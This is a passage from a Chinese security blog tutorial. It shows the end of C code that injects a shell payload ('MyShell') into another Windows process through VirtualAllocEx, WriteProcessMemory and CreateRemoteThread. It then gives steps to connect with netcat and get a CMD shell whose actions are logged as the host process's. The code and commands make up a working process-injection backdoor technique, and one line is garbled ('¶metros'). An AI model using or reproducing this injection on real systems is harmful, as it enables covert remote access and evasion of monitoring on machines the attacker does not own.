e = (PARAMETROS*)VirtualAllocEx(hProcess, 0, sizeof(parametros), MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, p, &MyShell, 4096 * 2, 0);
WriteProcessMemory(hProcess, remote, ¶metros, sizeof(PARAMETROS), 0);
CreateRemoteThread(hProcess, 0, 0, (DWORD(__stdcall*)(void*)) p, remote, 0, 0);
// CreateRemoteThread(hProcess, 0, 0, (DWORD(WINAPI *)(void *)) p, remote, 0, 0);
printf("[+] 已注入进程 %d \n", PID);
}
return 0;
}
编译上述代码片段,并找到对应进程PID,通过参数MyShell.exe 8624 传入被注入进程PID号,当注入成功后,会提示进程请求联网,此时一个不具备网络通信功能的进程,因我们注入了ShllShell,则自然就具备了网络通信的能力,如下图所示;
此时读者可下载32位版本的NC,通过使用执行命令nc [远程IP地址] [端口] 连接到进程内部;
小提示:Netcat是一款网络工具,也称为nc工具,可以在不同的计算机之间进行数据传输。它可以在命令行中使用,并支持TCP/IP和UDP协议,其被誉为黑客界的瑞士军刀,是每个安全从业者不可或缺的利器。 官方网站:https://eternallybored.org/misc/netcat/
当连接到进程内部则会反弹一个CMDShell 此时在该CMD下的所有操作都会被标记为宿主进程的操作。
本文作者: 王瑞 本文链接: https://www.lyshark.com/post/3e10758e.html 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
|